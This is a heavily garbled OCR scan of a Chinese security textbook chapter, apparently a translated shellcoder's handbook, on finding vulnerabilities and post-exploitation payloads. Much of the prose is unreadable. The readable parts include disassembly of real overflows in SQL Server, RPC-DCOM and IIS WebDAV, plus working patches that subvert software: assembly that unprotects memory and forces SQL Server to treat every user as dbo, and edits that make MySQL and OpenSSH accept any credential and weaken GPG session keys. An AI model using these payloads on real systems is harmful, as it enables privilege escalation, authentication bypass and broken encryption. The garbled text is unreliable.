RFCFRE R RENE2. IR JFR ECKHAT IR AEE K W mox B ML EF 09 FRF . R
WK R sub edi, ecxti /RIS Aot ecxtfd, KHIMEDIEH B A EKIALE .

TREAEIEM X BATIRAL T F 4 R O, BRI, IRREXAT LU, 3 T e RENSE
7.
2136 C++{mMsE

A 9% OB A TR AR RGN R RURS B R FACHE 1. CHIBIE RS
JTEARFICHISAAL, WAL BAENARL, MR8 — BB ERN HCRICH, FER RIS
AREBARE 1% KT, ZEWTHCHARTI, B RAT LT AR A—HE, RATLAERIX LA TN 5L o
WA, WHHCHRIBA RN S HECMEREME, R, ERBE, SNZEMLEERR
RMAHET .
21.3.7 this $5%t

thisfBbH BB FLRTERB () MR Bl. thish % HEMIEAEE AL R,
AR R AE N BB B YRR, TRE ECx P 77 283 ehisiifbt . ZECH BB AU Fh
WRLER N thiscall. FHEHIT BRIRE— N EPIELIRE 8% B — A RY.

push edi

push  esi
push [ebp+arg_0)




430 H21F st A RAF R KSE

lea ecx, [ebx+5Ch]
call 2Parsel;

AT, AEVR R AT, ?é’d’ﬁ:ﬁl’fmx#ﬁ%%. XA TR, R EMERR
[/HTTP_HEADERSYI B Hjf4t . B ABcx /7 2 SB i & H, FERBOAME, E%
BEhisiBHRFERSMFHFREL, FERHETecxF /A8 EE.

214 EMEEX

ERPCHRBIET, WAT B RMGHERIERARE . R EH AN RERN
W7, KRERAIXEGE R, WENROLNRES, THETRESTERENNS.

TRRSRH R R R, NTTHESERIA . EREWHEF, HagH
USRI X LR R KR, BAEREHR T, RTLLELENRE R EMRKNS YR BT
PR LT SOk EA.

RS BT RAIR BRI, ISR BIX A B R BT R SIS
SRR RINREL FIE, EAEH R RS HMMLRR, NTHRRFEXOELR, B
KERATKBL, FA RS R, TR L BRI, DERBIELT
R ELE W

IMRBEFHHEEER, AARMEATITER, 2 AR R I R RHTHI 2
BAMIE S el ::Cl Ficl :~Cl AR, W RA R EAT I
BFREIENT, WH KRG EOIR RSN 5H R R EN. M REE N R —
BURERED, FTYHCARMGHRA . XA PR R RRE R BIRS, 2HiEd
PR RS R T o BRI B MO R AN R

Halver Flakes T —/MEHHEAYIDA Proffiff (OBIRec), AILAHIRAINZ BRI F THIX S 454
FRAR A ARSI XA T AR ils/39/0BIRec_for x86 4.
2141 vtables

P ISR, 0 R PR 88 A T vtables (virtual function tables, MEFUER%(#), ¥
SHBAVERBERD . FUTFMveables BB MMIT, WRALEBTHN, RIVEAERIL
FRFFURVEA T Ak, BIAn, %R E H9CHRLF BB X T LU B0 T AR B

mov eax, [esi]

lea ecx, lebp+var_8]
push  ebx

push  ecx

mov ecx, esi

push  [ebprarg 0]

push  [ebpsvar_4]

call  dword ptr [eax+24h]

ERAMPIFE, esTRAX R, NEMveablestf] SR, B T RIAKM
AL, RATETGE T Mveablestysif, —MaT BALES M iR R RIVX M) . 163X
AT R, BAVEMERECE R T T H4R.
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mov dword ptr [esi], offset vtable
FEXAMEBRIOGI T, TTLMRE 5 HitEveabl e B AT R B, BRI RRITABA RN L
Hiveable e i ¥k E A, MBELRBEMET.

2142 REAHAMER

X EIRF WS RURAN S B BRI, MBRREANDE ST, BRI,
T RSt — e

O B8 B0 P IR [EHELE 3 (R AP FEBAX B AP SR L

O HRFS R F L/ JaBkEL 154

O A SR LB B/ aabki 154 .

Q Movsx¥f F M FF B ATHF S 9 R, Movzxtt H M F 7 8 T2 R

5 FHTHE S

I EE R, BEAE B R AR, TR R AR IR RN . HF W
PRI, ARIRACRL R, S T AR ERICR R SR o
2151 REREEBERA

IRRERERE, FREEOFERERRTHELRAME BE, L8, WA KHHE—R
SUERATRRIISAT BB, R BRI HRR, 5 C DR AR — 205 H i M o
PR .

LWAEENRBHEMNE, Hindistrepy. strcat. sprintf, MRENRENRL,
XA AP AR . Windows HIEH I E LR MIIAEIK, IR FRHIRIASCIFRHIEA .
B, HKflscrepy )il ol i Hstrepy. 1strepyA. lstrepyW. wescpy RIS hEn &

MultiByteToWideChar 7} — /M WAIA 5 5| AWindows B s 3. XA MBI N5
BOETFE B IIGIRHIAAN . RTT, IXA K/ R LA, ARG (0 i
%, MR ——IEsizeof () ML RBIMBA B, FREANEA
RFFHIBER2B, BT FBURAH B 20X K AR H MG . SXAMIHR 92 S 30K
FILIS Webfi 55 2% th I 52 2 I «

2152 FIRERTERMEES

24408 A APLFE R AER I 1 % ST, S ICTETF 06 MR HORHE T o I3
AR MM, I IR AR PRI A X A RSB . 1R FL AR 9 B
WA, BB AN (0 Bt 6 5 SCROBORROBIRR, A5 ABRTT UK B FF AR . S0 RBEATiXAY
TR, T BA TR S S A SR AT PTRERTRAT O AT, B4, Weblig5 28764
BERENROUERET , (0T AE LT IR B AT EE R TFIR, 54, AR 7 ¥ 00 — S BRED AT
REARBUR T

2

e



432 #20F —#KITH MR RA K

— e AR AT R A R, WSS XESH. W FEms TR,
HETIEREAERRLL:

mov [ecx+edx], al

ERFIERENRIRGENX

mov [ebp+ecx-100h], al

RS BREIR, BRI

mov [edx], ax
inc edx
inc edx

Xk B Bt RO X W BT SRR
mov cl, [edx]
movsx eax, cl

A B SRR ) A AR AT INARB . G & SEEREHD:

mov eax, [edi]
add eax, 2

cp eax, 256
jae error

T L 6EAIEMARAF, T 5 B AL AR -
push edi

call strlen

add esp, 4

mov word ptr [ebp-41, ax

B PR ARG, AT AT AELE k) BR B B ) A A AL IR -

2153 BREMIZEHIR

A RAE R BRIIK 2 BRI R P9 77 AL 1, (R B R N TP B RIS 20 K
Ry UM REEGRE . — BT R UERTRBLNISS MRS INA . KK —B0AN
AL I TR R BLX WA, R ENIBEERFMIEN, hMERNEMR AR, 1)
YR, RIVXKHREA AU E, AR, FHRXREH BT ESRE: FHRFERT
Vi TP PSR AT ) S B A AR o T HRIX S W I BT QU M RPN, FEBAR
EZ5(0N
21.5.4 it BB ST

ALY, RPALR AL KRE MRS, UREHERERIEARL. ~ERETH,
Fede ST Rty IR LA B B RN R R AN A 2+ 48 AR — WK B R AT 2B L B e
HRICHAI LB L, T HARA S X HRFBB. IDA Profl UGE M4 E MR A, AT
FRE—BOEGIREE . WA ST IOESE, IDA ProfRUEREN Y U EELEIAT AR
Yoo HRER, AROEER, REEDRREENENLS. FERIFCEITRHR GB
WRATIILID, RIFLER LT
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ARTT, IDA Proff B/ 5| € wT it 22 IR HE Lo B 38 4 AU ARES . i, BAERKRHEER
BIEMSVCHAE RIS EL 355 IR T e SRR Rsu g, HEELATH . FHk, Halvar Flake
WIDA Pro#iit T —ANEIAL B, MBI B BAIEMS VORI, TR
SEHH KRR,

2155 FHRHEmE

TEEBRKT, B RICRI T RBIT . T H, RARM AT N BIEE R,
AL I R S Rt XML T T U TS R %

XL T R 25 AR 1 2 b R I 45 RO T 5 F it BRI, BTURIEHAT T
IEBIR RGP 759 TR R R TR o A YRR SEAWTFEEHH PR MBHTHE)
FAERBRBIOILIR, MBI SRR, BRE—%, RARPFRAA T s — 2648 4 4R
HIMAHETS T o
21.6 Zi#HiRAGF

EBATE LRI T, L AR B 2R
21.6.1 14K SQL Server $4i2

A5 % David LitchfieldMDave AitelZEM X KISQL Server B RT T ¥ £/ M. Slammer
SR BARI T RAIRIUISQL Server i, XML %47 4 T M, ot BAITINT
HISQL Server /s 4 1 B 3 (9120 I 46 R 25 30 R R B 2o 8 ORI

Litchfield7ESQLAR 77 SR 45 (11 10 b B GIRR B B (s Wi VLAY B spr it £ 181 S5CHY .

mov edx, [ebp+var_24c8]
push  edx
push  offset aSoftwareMic_17 ; *SOFTWARE\\Microsoft\\Microsoft SQL Server-...

push  offset aSSMssqlserverC ; "$s%s\\MSSQLServer\\CurrentVersion"
lea eax, [ebp+var_84]

push  eax

call  ds:sprintf

add esp, 10h

TEXAMIF I, var_24ce WA IR RIRIBE B 1024B I M4 QBIE, fivar 84—
128BARIRARGRIPIR , MAFSRARIAGE, R HIN T NN R,
Dave Aitel ZZRISQL Server HelloW i th S AKYEE 746 h e S50, 453X/ F B festrepy.

mov eax, [ebptarg 4]
add eax, [ebpivar_218]
push  eax

lea ecx, (ebpivar_214)
push  ecx

call  strcpy

add esp, 8



B4 F2F Z#sIEH I RAFRDH KM

H g Xvar_2142—A S12BIYRIBRENK, WPRHHLRAHE. FRENE, ERe
FHEMFR . UE BB R, B AR R T R SRR .
21.6.2 LSD &y RPC-DCOM i&iR

IXANPS A PRAE ) BRI 03 B The Last Stages of Delirium (LSD) 7ERPC-DCOME:I
R XRRRFFRITRDUNCE B LRS- B AN, RAREFZHSNABEFSHY. 4
HREMLrpess. AL RRE KT, EAWERIAGERD RN ERBORENK.

mov ax, [eax+d]
cmp ax, ‘\'

iz short loc_761AE698
sub edx, ecx
loc_761AE689:

mov lecx), ax

inc ecx

inc ecx

mov ax, [ecx+edx]

cmp ax, '\

nz short loc_761AE689

X BAGUNCH R4 M\ \server\share\pathffIf X, fEHRFHHRIEH. EH AT
WTFLMATFA BN RFNT), IR STRIB) H OG0, FRIRFIL L RAC N L. 768
MR, BHUAETA TR . RISHEAIEER IR W 7 SRR % AR

21.6.3 IS WebDav &R

H¥KSecurity Bulletin MS03-007/A FF RIS WebDaviiifil & HARZE Wi, It i oday WA &
HR R TRIN, MPCHERA THT . TR, XAARARE b ZeHRE RN, RS
WHEREENE=H RN .

AICEMRIAR 16 BB R (wrap) LR, ¥R A4 Windowsti LIEAT I 6 A1
FAF R RET  KR HAE (BARAF KA, WRE1Ini tUnicodeString AIRE] Tni tansi-
string, f—MORLEH S MIKKAET Bl MR IKLLR BN TR HRIL65 SISA L, KIE
FEMER, SEUHIMFGRIER D, XIS WebDaviRtiFlR 4418 K BRI 64KBINF 4 8 44
Rtl _UINZR, SBUnicode A MK L RIER, MIEIERA
PR BN NMIKE TR XM RIEN TG, i s a i LA R,
A, HOAT M R AT HOARHE, WTRER RBLIX A ) 8

Unicode BRANSIFAF 8 (93 A YR 4Kt F o

typedef struct UNICODE_STRING {

unsigned short length;
unsigned short maximum_length;
wchar *data;

b
RtlInitUnicodeString® MM F.
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mov edi, [esprarg_4]

mov edx, [esp+arg 0]

mov dword ptr [edx], 0

mov. fedx+4], edi

or edi, edi

iz short loc_77F83G98

or ecx, OFFFFFFFFh

xor eax, eax

repne scasw

not. ecx

shl ecx, 1

mov [edx+2], cx // possible truncation here
dec ecx

dec ecx

mov ledx], cx // possible truncation here

ERAMIFH, BEHHKE%S Frepne scaswiebl2, RAETEI6MIMGHIFZRE .,
MHirt1D0sPat iName ToNt PathName UYHFHAYERME, AT LAKBLIN FAGHS -

mov dx, [ebpsvar_30]
movzx  esi, dx

mov eax, [ebpsvar_28)
lea ecx, [eax+esi)
mov [ebp+var_5C], ecx

cmp ecx, [ebp+arg_4]

jnb loc_77F8E771

EXAMIFH, var_28R RSN BKE, var 302K i # 1K UNICODE_STRINGZH,
HAWTH L6 K I SR FRE BB Farg 4 (H RS IKED, BAXH
AFAF R ATHIE) H A E I — AT R B AR AR 2, B R AR
HIAFRATRAAR b, REFHEA, WFFTR.

mov. fecx], dx
add ecx, ebx

mov (ebpsvar_34], ecx
add [ebp+var_60], ebx
loc_77FBAE6E:

mov edx, [ebp+var_60]
mov dx, [edx]

test  dx, dx

jz short loc_77FBAE42
cmp dx, ax

jz short loc_77F8AE42
cmp dx, /0

iz short loc_77F8AE42
cmp ax, .

jnz short loc_77F8AE63
Jmp loc_77F8B27F

AERXAMIF L, TR RIS G, EEREFIA Oy ERHT () BT, R
TN (K S BUE ARHOE R AR T, AT IE2RAR, (B RS T SERS M A BR3iEr, MITT



436 F20% Z#4IFH: STRAF RS KL

AT R B0 o
21.7 N

RATRIL, ERZIFAM KA E RV E R/, FAEJLERTRMT BRI RR K 7. Fh
A B BOR R, T ELA KRR A A TRIRED M B AR e R BEAR A, SR DU
TR, ATO#E TREAS|AERIOHIR. BRI HE A, ERRLHES
W BIT L%, REGEEEER R BAN ERAT, V5400 8 0IRR R RO 7E #
AP, T FRERARMER, §HFDAHCE S ERAN IR B, S
VAT e AR B IR — AL PR KR, AR S THERERNI S,



: ] A
Part 4
ELE

RV RA AR BRI . B2080H A — LB R, I T REAR G
shellcode X (LA IASH5E fishell. RATANHRiKshellcode WEHA, MMEBFTHRAEL
LTV, AR E T R, TR LR SRR, B
M RBA SR B FTS AR TR |t AT B . 48233, ¥SAE BRI,
AR BRI T LIEAE (TSCRRIR SR T. SRR, TE482438, RATHHINT LR BBIER,
WOracles DB2MISQL. B FEAMA —GHENL E, BIRE BB R LRI REE
fERm. ;
5, AER2STERS26H, R 1541 EREAEOpenBSDASolarisHhf K4 B R BLILAFH—
BB, AR LRI R, BES2TRES IR R I HH Windows Py Bibug.

FAbaRA Hewk
HETEIFRIABEPIBATRARAD
Bl B R

UNIXPI% % ; i
BIRUNIXP R ;

R Windows A




$22%
Ellcii
! b il

Eshellcode¢— B HR T HIXFN K
a UNIX
mexecve /bin/sh
u i A4F5%E /bin/sh
w BEEER (R[shell) /bin/sh
= setuid
u fiff#fchroot
Q Windows
W WinExec
u filcreateProcess cmd.exeli [fshell
REAFEIAN 3T shell SR M BEMRACHT, X LA AT MW Bl 5 RAMA B M 2
Webdti 1 L. BIRIATEVFE 151X Fifk Sishellcode T RAN K ST A% A, ARARAT I 2 R IRARAMY)
Tt Gshellcode R FE R, X BRVFRE R A T LB 75 35 AT LASEARAR I F bR, SR LR F bR
RYEBA T H 34 SishellcodelI B A HE, sRVFAUOUR A J HR 8 3 T8 1 8l S MR 1) J VA T 0
B, AFEARNGUES Kshellcode, TR A1 HAE H AR R b AT 19 REARTI BT i 12 75
BRI A A L, i, 5 EOTAEEAT MR ARES, ERAE R M S SOE S R,
B RO AR LN AR . IRA DA S X BM s, AT AL
R R, W LR TN, SRR BR.
BTt & A 4 2o 3 W i shellcode 7 | 1R HE 15, BRI 17 Windows ¥ £ 1), 1 ks
shellcodeff) A/, LiSP & H AR F GERRA TG KM Ay ) B 4% o
221 EHEF
DR E AR R A R S A M98 00 S AT AN AL LR R [Fshel T v i & HE4F . ),
FEBCHHOR PG B4, et o R K RO o ZEXR ML, shellxd Mot K B AT fiE
FBAt 2 P A DRI AR K MR T BB GRR A  t ) MR SO S A 77, A1 4wl TRV 1) (1
Sy eSO e R S M BUE 17D MBI B, REAHE LR, FIJESQL Query
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BARA RN R AR . X, BTMNEHBRRER LS T .

7E “Violating Database—Enforced Security isms” (ww:
ing_database_security.pdf) iXf§3C# 5, Chris Anley/MA T 43 #SQL Sewerﬂﬁlifz%aﬁss
AT, LR AR ARG Rdbo—— R IER 1. R FEMrootik 5, XAH
TR DA iR % o X A A R B . AT KB R S AT, DR
LiiES:

EAMTH—ANEBRLE, BT LR NTEPIET R, RGeS b R
T, AR BABEERABEREE, AN Ro RIS — R, B
RS BUR B SCAHRTT A S BRI E) GURLR S5 % . TripWireSUHESERHENUEI%) . dRtR
B XARBEEA R, SRR, T RSHBRE, EREGKT M EREY
RIS HIETT.

222 SQL Server 3B#MT

A1 B (2 TRy, FRAERIE IV IR, TG T LABE R SRR N

ERIER AT SQL Server OB, JEAR I — Lo ¥ HIERER IR, XTTHES A
BAHR L IER 0515 o

Bk, WEURMNBRN S RAT RAGATHAG TN, WRAPRRREEER, WF
A

select password from sysxlogins
HRM B, AR EIQuery Analyzer (SQL Server (7 i LR FIHRS (MSVC+6.0), 3
TR CUEACBRIT P (9 5 BEAT . 3K H5 i BiMicrosoft Visual C++ Exception. ERVHS
HIHEHMESS, #¥idiDebug/GoikSQL Serverkb EIIX ¥ . i&[Query Analyzer, AT LA EILL T4
TR B

SELECT permission denied on object 'sysxlogins', database ‘'master’,

owner 'dbo’.

AFPRAAE, MU sall P SO AT FRE A HIRE, JERERAERN . RYE, HPARE
ATV IS, BRI U R AU T e R IR — AT AR K 43 1)
SR

AL, AV BATEERIHT, AR NI R S OB AL T AT A7 o KR —A
RALAM AR, JLRKRIKZ G, AT AR BT A2

00416453 E8 03 FE 00 00 call FHasObjPermissions (0042625b)
ARRATAATRRA A, KRB RN
00613085 EB AF 85 ES FF call ex_raise (0046¢339)

W I, B ARG T sqlserver pabd i, F AT LA B KEA S 2.
AT
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B4R, FHasobjPermissionsBiM 52K, MWEXAKE, RMEH:

004262BB E8 94 D7 FE FF call ExecutionContext::Uid (00413a54)
004262C0 66 3D 01 00 cmp ax,offset FHasObjPermissions+0B7h
{004262c2)

004262C4 OF B85 AC 0C 1F 00 Jne FHasObjPermissions+0C7h (00616£76)
0 f§%luIp;

Q JEUIDAI0x000 14 L4

O WIRUIDASEF 0x0001, (E—HHABMRALZ J5) BEEISHLEET.

IXRRAUID LEHFHRINE L. L FARISK B sysusers:

select * from sysusers
T HBIUID 1Edoo——HRIENIRE . #HISQL ServerfIZE4R RS (http://doc.ddart.net/mssql/
5q12000/html/setupsql/ad_security 9qyh.htm), W 4:

oo R MAB R P, TS K ZPATHA M. EHENBEAN, BT
sysadminA #IRHB A & (fixed serverrole) 6% R AR At X A45ke9 A P —dbo.
R, AE4T d sysadmini) IR S-B M &40k 692t SR 4 5 & T dbo.

B, WRBATERAUID 1, —ANINR TR AEBIARE .

KB ExecutionContext : :UIDIURY, RATRIBINMRILE TR HIM .
2Uide@ExecutionContext@EQAEFXZ

00413A54 56 push esi

00413255 8B F1 mov esi,ecx

00413357 8B 06 mov. eax,dword ptr [esi]

00413259 88 40 48 mov eax,dword ptr (eax+48h]

00413A5C 85 CO test eax, eax

00413A5E OF 84 6E 59 24 00  je ExecutionContext::Uids0Ch (006593d2)
00413A64 BB 0D 70 2B A0 00  mov ecx,dword ptr [_tls_index (00a02b70)]
00413A6A 64 8B 15 2C 00 00 00 mov edx, dword ptr fs:[2Ch]

00413A71 8B 0C 8A mov ecx,dword ptr [edx+ecx*d]

00413A74 39 71 08 cmp dword ptr (ecx+8],esi

0041377 OF 85 SB 59 24 00  jne ExecutionContext::Uid+2Ah (006593d8)
00413a7D F6 40 06 01 test byte ptr [eax+6],1

00413A81 74 1A je ExecutionContext::Uid+3Bh (00413a9d)
00413A83 8B 06 mov eax, dword ptr [esi]

00413A85 88 40 48 mov eax,dword ptr [eax+48h]

00413A88 F6 40 06 01 test byte ptr [eax+6],1

00413A8C OF 84 6A 59 24 00  je ExecutionContext: :Uid+63h (006593fc)
00413492 88 06 mov eax,dword ptr [esi]

00413A94 BB 40 48 mov eax,dword ptr [eax+48h]

00413A97 66 8B 40 02 mov ax,word ptr [eax+2]

00413398 58 pop esi

00413A9C €3 ret

AR X1
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00413A97 66 8B 40 02 mov ax,word ptr [eax+2]
IXAT RIS UIDE A Ax.

B —F, RA7EFRasObi Permissions B K B A B $ExecutionContext : : UIDEL B AUF
SRS HIUTID 1HATRR ARG LRI R4

00413A97 66 8B 40 02 mov ax,word ptr [eax+2]
GXIFFR b fmov ax, 1) H#f
00413A97 66 B8 01 00 mov ax, of fset

ExecutionContext::Uid+85h (00413a99)
BT MR S A AN ARG, TGS P UIDAR R L

RRBHE AR BRAOTRIBIEATFTH B REEAT

select password from sysxlogins

AL, KAV EMEG], T GRS EFIHAR TR Vi Rk Fia ik
[EATN

FULRRS FA A V5 B AT AR B, AL T L LU P % 308 2 P9 104 1] R 1T selects
insert. update. deleteffk. IsKBUX -2, R#EA3BIISQL Serverftid.

BERCAXN TH TR, BT LREANT R L5 RMR 0B, 4£SQL
Server LA V£ CHIMB HAM L HHHR, ATAQRATIUXLEMANT . R, RIMNS
X545 X SR A1 K I B TF i i«

WO, BT RER H %S WAER TS, Windows NTX AFFUS A i ialdetkl, 4063
A7 N PAGE_EXECUTE_READ, {4 i) 34304 5| 4 Vi [l e 45 o

Jivirtualprotect F¥AT LIAR A 5 M Jeix A 11 .

ret = VirtualProtect( address, num bytes_to_change,
PAGE_EXECUTE_READWRITE, &old_protection value );

AR S P Hvirtual Protect UK TR N AT S, RGN BB BUHMN LY.

IMARBRATEBAMG 7B MEDLLE, BAIE W47 AT e LB R TR AL 8, 47
TAFAN T #SQL Server s 4h HARFT AR, Bitk, BARARIDRARAT(E W FF B F 4,
AR E A At bt

I R REAR FRAS RELR B9 Windows 2000 Service Pack 2+0 ytuhik, FEASKEL T AT HIB A ZhfE .
AT R R, PSR

mov ecx, 0xc35e0240

mov edx, 0x8b664840

mov eax, 0x00400000
next:

cmp eax, 0x00600000

je end

inc eax

cmp dword ptr(eax]), edx

je found

jmp next



42 F ¥ AMEETRE

found:
cmp dword ptrleax + 4], ecx
je foundboth
Jmp next

foundboth:
mov ebx, eax ; save eax

; (virtualprotect then write)

push esp )
push 0x40 ; PAGE_EXECUTE_READWRITE
push 8 ; number of bytes to unprotect
push eax ; start address to umprotect
mov eax, 0x77e8aec ; address of VirtualProtect
call eax
nov eax, ebx ; get the address back
mov dword ptrleax], 0xb8664840
mov dword ptr[eax+4],0xc35e0001

end:

xor eax, eax

call eax ; SQL Server handles the exception with no problem so
; we don't need to worry about continuation of execution!

22.3 MySQL 144 T

BRAVER RS- AOIT CERZRBRE D, BRART LSRR, EMIT
5MySQLA K, BATA—ANMOA T AT USRS M RUAESLE], MTTAEAEMT B ESH T LL
I, ARSI AR P E TN F, B MySQLINE, MIfiLL&rik

fozE R A 2 5443 Vs FIMyS QLR 5548 «

TR T, XERRIRI G N A A, A HEH T O R

0 RS EEITBIET:

O FURIRYT / SFORL I e AR — LB RO 3R

O R R R

R T B EEA NN RAIRIES, B/REA AEE AT 2 B4 4. 7ESQL ServerIHI T
o, BRI 5 R, A UBEXANN TRAEA, RATIAT Ay i A e AE T 20
o WRMORIEIEAT R, KR H & BRI A R AT IE N B . R, root

shel Bl #E R EH R4 UREHA LRITH).

T A 0 6 B i A MySQLREY, 7T LL Mwww.mysql.com T #%. B XA HIBR,

MySQLIIEE A /£4.0.14b.

MySQLAE A T R§McH AR A SN, B FEMTHHL (R TFRIE:

Q % P g S TCPIERE

Q R84 Ri%FRE (banner) FI8BHUfE (challenge):
O UG O8RS (8B) MFDXAH);
Q 7 AR I T R R 40 R 5 2%



224 OpenSSHRSAAIEANT 443

O fiR% 2% Hisal \password. cH fficheck_scramblef $UK A 4HY 5 HI%HE:

O WRGRADE KB FF A IR E- B8 (3, check_scrambeli&[F10; %M, check_scramble
1.

Licheck_scrambletf X MARFGRUIT -

while (*scrambied)

{

if (*scrambled++ = (char) (*to++ * extra))
return 1; /% Wrong password */
}
return 0;

Bk, BATMATIRF L, A RIEAR B SR
while (*scrambled)
«

if (*scrambled++ != (char) (*to++ " extra))
return 0; /% Wirong password but we don't care :0) */
3
return 0;

S Ji P T AR AR AT R AT R T 1) o

PRTLAF FIMyS QLR 2 LAt it 9546, 6038 SQL Servertil FAFH 4N T CEATE Tt i,
P Redbo) B ALK MK Fi .

X BACT IR R T IR F5)F (RIS 0

3B 8 cmp ecx, eax
74 04 je (4 bytes forward)
BO 01 mov al,1

EB 04 jmp (4 bytes forward)
EB C5 Jmp (59 bytes backward)
32 Co xor al,al

mov al, LR FIRIEE, RN HEE Bsmoy al0, AERTF ™ H5T LUFRAE T 85 R33E A2
WFIRS B, AT IBA T CRHAH A, WAL IR T, MRRAVHE AR,
BASIUR AT AR D Wh T, B RRATDLA L T A TR AL

TEEFF RGN —#EHIANT A RS B ik . MySQLAST % BRI £ e it
AFAERATIRE, ETHEE CREESRAE L OWF . BEG TR E K, XA
ARAGFT A F S, B T 4.

HRA AR S — AN NREARARAT, 5 R AR 9SQL Server B A# AU 7 RIX M8 4T 3 AR
B .
22.4 OpenSSH RSA AIE#MNT

XIS RER LT AT LUB TAEATAESLA, 5 LLOpenSSHIYRSANIESLE M, &%
RATHER AR ZEHILHIE T — )L, WATVRBLT W F IR %
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int
auth_rsa_verify response (Key *key, BIGNUM *challenge, u_char response[16])
{

u_char buf(32], mdbuf([16];

MD5_CTX md;

int len;

/* don't allow short keys */
if (BN_num_bits(key->rsa->n) < SSH_RSA_MINIMUM MODULUS_SIZE) {
error("auth rsa_verify response: RSA modulus too small: %d <
minimum %d bits",
BN_num_bits (key->rsa->n), SSH_RSA_MINIMUM MODULUS_SIZE);
return (0);
}

/* The response is MD5 of decrypted challenge plus session id. */
len = BN_num_bytes(challenge);
if (len <= 0 || len > 32)
fatal ("auth_rsa_verify_response: bad challenge length 3d*, len):
memset (buf, 0, 32);
BN_bn2bin(challenge, buf + 32 - len);
MDS_Init (&md);
MDS_Update (snd, buf, 32);
MDS_Update (&nd, session_id, 16);
MDS_Final (mdbuf, &md);

/* Verify that the response is the original challenge. */

if (mememp(response, mdbuf, 16) != 0) {
/* Wrong answer. */
return (0);

1
/* Correct answer. */
return (1);

}

o DA 5 FHR U BR e ALE I A 578 e iR [E118%0. 2T, 7EOpenSSH
BIFE, FAEREIRAETRFRRBATUAER, BT ARA R s St b 3t Scpk . RAT
s freturn 1A H Hireturn OBALIF, HRATALMER /K5 43 AR &G V) FISSH
B g2k
22.5 RHABITRHEMSE X

BRFRFARBISATIHEANGEAR, wTRERE D ishel EARK, TR D% GETH
s AMHIRAR L BURRIT (AR XTI E T #),

Code Redffi S ity B ARG 4 7 1 S (I8 AT MY B AN BER, B (1K) JETIS B
TepSockSend B B A\ F N I 57U U406 SARAT P9 3tk 465 S P SR 1 ) R R 0] S A P
PR AR . S S EEA S B T GRS A, BAEATIIS AR % (i 55 wT LU 3 e
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#, BARGFHEEE AL S Code RedBH — MBI AL B HZITH B
WRRAEID &, - REILRERE, RAEERBRERNER T .

HIBATIEANE AP R, HRdE RS, BERABRBAIH. ERHUNXFE L,
e IR AN LAERERE (worker processes) M, ‘7 BTALTEK [ 2%/ MK R KRF L L.
Bis, ApacheskRIXAE S, AT S AMHMRAEIX BRI T — AT 0, BAMREEAMIIRSS 28
SBIRFT A RFEAERAA .

FHE R, BRI REARS BB LI — AR PIRER, KRR BT T
B R . Bl SORE, A AR R kA B 25 JU SR E 4L P T L
STENHEE R o

BT SRR IGE / SIS, BATIBANEH — e R .

VTR BRI — R LR TS, T AL PR — 2R Lk
RBEHLE . STRMRTT S, AP AR T R ME BRI RS, BLRAENE.

SEBEHLER AR AT DU T HEAE AR RN ARAE . ATHAR, SSBEHLIERN ] RV BEATEDS
BRI R R CA0D AR RS, R o e LT, il
UE o MRPR DL AIRIXA 250 91, 3R AT LASRAA KSR UIE R YE - B30, 7E AT M8 (10penSSH RSA
BIF R, T HAT

/* The response is MDS of decrypted challenge plus session id. */

IR HARREM AW, BARTERPRAT AR ERIWIRL . RN
UEHUHI R OB RA KSR T BRI 2.

FEAGEME KA AL A URBUXPER BT it I RARAXFBA AR HGPGIRPGP
F2F¥, {EAHOI Bsession key RN B, AARRAERIIT M ARSI B THMT. 4
B WAL ARERPOX L TR AT, WX BRI B, BATSAT LAKISS
A IMEH B FrHILBERY

AR MRS B KA B RS A GPG 1.2.2KHI S5 ILBEME .

GPG 1.2.2 B#L 14 T
FRGPGIIYIILSG, BAIIFL:T Hsession key, —L#E4RF| T make_session keypd¥. X/
BRSO A ize R ize_bufferifi i get_random_bits#%{(, get_ran-
dom_bitsefi 3 X 4/i % Firead_poolki ¥ (X% H ft¥/get_random _bitsiffiread_pool, BTARAIA
AR EIF AR FE T ). ML Biread_poolfUBT, BATABLT Mith B ILEBIHIEAR
JRIBCE] E AR X X B o
/* read the required data
* we use a readpointer to read from a different position each
« time */
while( length-- ) {
*buffer++ = keypool [pool_readpos++];
if( pool_readpos >= POOLSIZE )
pool_readpos = 0;
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pool_balance--;
)
B Jypool_readpos AL R, RATATREARMES & HPRE, FRMT W FEA:
/* read the required data
* we use a readpointer to read from a different position each time */
while( length-- ) {

*bufferrs = 0xcO; pool_readpos+s;

if( pool readpos = POOLSIZE )

pool_readpos = 0;

pool_balance -

)
A0S (0 38 S P SE ) session key I BEARH B (R E MR R H30)

226 LHFIBEIT (B proglet-PR%ES)

— RTINS S AMER, Bilcshellcode, RTIETTE, RIHXMEFAARN
U7 o SR ATy ¥ AT AR S A 50 P AS 70 /AR AR 1 B e L FE M T AT AR S5 28 .
ARifiprogletH] THBIXANFLF . progletis XN “RERAFMAIBHR S TS, A HSE(EAS5
#, B RRREIERIET " (KIBIXANE X, 1E# WIS BprogletB DA ILATIR 1),

proglets 7 7£ () i A T «

(1) proglet BURTR /N, RS RLBRDT, 10 LA G435 2

(2) B B HURIR A proglet MR L 577, SE I LM B FHC 14 A (ot 2048 7

(3) WiRproglett B T, RSLALRK AT gk H AT

AT LR, proglethLifl - W IE M A U RARAI L, U3 FTSGE . (BRTK B REN
AR S AT 2%, XA RGIRAT .

227 RGEAKE

HATGUIS LR -, WURRTE IR B shellcode LT, & RILA KL Mshellcode L 32
ABAEHARL, AR BT A A A KA o

YR Rt 7E A F shellcodelt, 287 £ R BLIX HARFSA R IR R SE4 PR A T A . 53X
Iy AT (AR SR A SEHE T ) L2 AR, NS B GE R, TORTRTE LAE. B, AURIRR
HIRAcmd. exe, BRIKT , FRATAEARIE H 2 Memd. exe HIB Az T4l E, IFREETE. R
& WRATEARRS — MREATAUR T I 3C 0, BRI, ARTTRERT SEARBISEA AL . 3R, RHGE
chroot A B 4 HLEIR KM T o TR R4 IR, JUMR BIME TS T RAT KL 4 A B
HORBATH B BMARTT CHRR, IR ADIERMR LT, B 5 —SEBUR M i

#RTM, {Eshellcode K/, 13- ANl 4 LA AIOME ST B —— RGEWACH.

Tim Newsham M Oliver Friedrichs P 5t $2 th 7 46 ) Jil {CE () 2%, Core-SDI#JMaximiliano

@© ARMEEHFHRIE, BRI, W 2, — P
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Caceresli J5 75— AR 918 30 b 0 Hodl T3t — B i MI& CHwww.coresecurity.comy/files/files/11/
SyscallProxying. pdf). REWANBEHMHEAZ —, CRAMER, UK NS X EHREH
. FRIFIEER . #22-18R T E R TAEN.

#22-1 REWAELTHE

@ ERREN A &% AERARS
0 VI R Alstub
1 K THEM LA,
